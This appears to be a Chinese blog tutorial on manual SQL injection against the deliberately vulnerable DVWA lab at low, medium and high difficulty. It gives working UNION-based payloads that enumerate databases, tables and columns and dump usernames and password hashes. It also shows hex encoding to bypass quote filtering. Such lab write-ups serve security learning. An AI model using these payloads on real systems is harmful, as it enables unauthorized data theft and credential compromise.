当前位置: 首页 > news >正文

DVWA sql手注学习(巨详细不含sqlmap)

这篇文章主要记录学习sql注入的过程中遇到的问题已经一点学习感悟,过程图片会比较多,比较基础和详细,不存在看不懂哪一步的过程

文章目录

  • 靶场介绍
  • SQL注入 low
  • SQL注入 Medium
  • SQL注入 High
  • SQL注入 Impossible

靶场介绍

DVWA(Damn Vulnerable Web Application)是一个专为安全专业人员、开发人员和学生设计的网络安全靶场。它是一个基于PHP/MySQL的开源Web应用程序,模拟了一个典型的Web应用程序环境,并包含了多种常见的Web安全漏洞,如SQL注入、跨站脚本攻击(XSS)、文件上传漏洞、命令注入等。这些漏洞被故意设计出来,用于安全教育和渗透测试训练。

SQL注入 low

输入1,正常回显,观察URL明显是get请求传递的参数。
在这里插入图片描述

测试是否存在sql注入,这里用 ’ 来测(虽然这个是靶场,我们已经知道存在sql注入漏洞,我为了理清思路,这里完整的复述一遍)
在这里插入图片描述
这里报错了,说明这个网页存在sql注入的漏洞
在这里插入图片描述
测一下漏洞是字符型还是数字型

1 and 1=1
1 and 1=2
1' and 1=1#
1' and 1=2#
(有的地方用--+有的地方可以用--+注释,有的地方可以用#注释,这里只能用#注释)

前两个都正常回显
在这里插入图片描述
在这里插入图片描述
这里我们猜测一下数据库的搜索语句应该是这样的,那么应该是字符型
在这里插入图片描述
1’ and 1=1#正常回显
在这里插入图片描述

1’ and 1=2#回显异常了
在这里插入图片描述
这里我们接着想一想后端的sql搜索语句是怎么写的,如下图,当前面闭合后,执行后面的1=1,会正常回显内容,当你1=2时,永假,页面肯定回显异常。到这里就可以判断一定是字符型的注入了。
在这里插入图片描述
到这一步基本上我们找到了闭合,可以开始注入了。
ps:到了这儿,该如何注入就得看各位师父们的手法和技巧了,高超的技巧往往能更快更方便注入。

1' order by 
-1' union select 1,2#

这里的意思就是说联合注入,我们后面查询的1,2两个字段的数据显示在页面的哪个位置,搞清楚了位置我们就可以通过替换1,2字段的查询语句来进行数据库的信息的探测。
在这里插入图片描述
探测数据库名

 -1' union select database(),2#

在这里插入图片描述
探测表名

1' and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

在这里插入图片描述
探测表中字段名

1' and 1=2 union select 1, group_concat(column_name) from information_schema.columns where table_name='users'#

在这里插入图片描述
获取数据(密码均为md5加密,各位可以去网上用md5解密网站跑,简单的一般不用收费)

1' and 1=2 union select user,password from users#

在这里插入图片描述
好了到此,low级别的sql注入已经差不多完成了,后面的中级和高级最后过程就不赘述,只寻找到闭合。

SQL注入 Medium

我们先观察一下页面,只能让你选择你的id,不让你输入了,使用post传参,我们可以用burp suite来抓包实现修改post数据
在这里插入图片描述
数据包如下:
在这里插入图片描述
分析到这里后,其实其他步骤跟low级别就差不多了

测有无sql漏洞:
id=1'&Submit=Submit测有无sql
判断类型:
id=1' and 1=1#&Submit=Submit
id=1' and 1=2#&Submit=Submit
id=1 or 1=1#&Submit=Submi

如此可以测出来,存在数字型的sql注入漏洞
在这里插入图片描述
测试代码如下:

id=1 and 1=1 order by 3&Submit=Submit
id=1 and 1=1 order by 2&Submit=Submit
id=1 union select 1,2&Submit=Submit
id=1 union select 1,database()#&Submit=Submit
id=1 union select 1,table_name from information_schema.tables where table_schema=database()#&Submit=Submit
id=1 union select 1,column_name from information_schema.columns where table_name='users'#&Submit=Submit

这里要就能体现,medium和low有什么区别了。我们探测user表中的字段数时,发现sql语句报错了,说明后端做了过滤。我们点开源代码看看后端做了什么限制。
在这里插入图片描述
说明他可能过滤掉了我们的单引号,但是这种过滤其实也没啥太大用处,毕竟换个十六进制加密就能写进去。

id=1 union select 1,column_name from information_schema.columns where table_name=0x5553455253#&Submit=Submit

在这里插入图片描述

id=1 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #&Submit=Submit

在这里插入图片描述

SQL注入 High

这里我们先审一下后端的代码,这里做的限制只要是limit 1,给你一个回复,而且你提交数据的页面和它显示给你的界面不是同一个,这样做是防止sqlmap等自动化扫描工具的批量扫描。然而其他的跟low级别基本上差不太多。
在这里插入图片描述
我们直接用low级别的payload也可以直接获取到他的数据库信息。
在这里插入图片描述

SQL注入 Impossible

关于这个难度,本人的php水平有限,等后期php的水平提升了再来审一下这个靶场的后端代码,这里先搁置在这里。csdn中很有很多大佬做了代码审计,各位感兴趣可以自行搜索。(QAQ)

在这里插入图片描述

http://www.lryc.cn/news/391698.html

相关文章:

  • 代码随想录算法训练营第70天图论9[1]
  • 浏览器设计为默认
  • windows USB 设备驱动开发-USB设备描述符
  • 【踩坑】修复报错Cannot find DGL libdgl_sparse_pytorch_2.2.0.so
  • postman中参数和x-www-form-urlencoded传值的区别
  • 自己训练 PaddleOCR
  • 基于SpringBoot的地方废物回收机构管理系统
  • 跑腿平台小程序的设计
  • Java技术栈总结:Redis篇
  • django models对应的mysql类型
  • 2024攻防演练:亚信安全新一代WAF,关键时刻守护先锋
  • 富格林:曝光有效方案安全交易
  • ArtTS系统能力-窗口管理的学习(3.2)
  • C++ 运算符的优先级和关联性表
  • 正则表达式替换字符串的方法
  • 开源模型应用落地-FastAPI-助力模型交互-WebSocket篇(五)
  • 2024/7/4总结
  • 【Android面试八股文】Looper如何在子线程中创建?
  • IT项目管理文档体系
  • ELK企业内部日志分析系统(1)
  • 反序列化POP链技术详解
  • process.env.VUE_APP_BASE_API
  • 面试题--SpirngCloud
  • 中位数贪心,3086. 拾起 K 个 1 需要的最少行动次数
  • xml_woarchive undefined symbol
  • SiCat:一款多功能漏洞利用管理与搜索工具
  • 毕业论文初稿写作方法与过程
  • SLAM 精度评估
  • Postman使用教程
  • UDP协议深入解析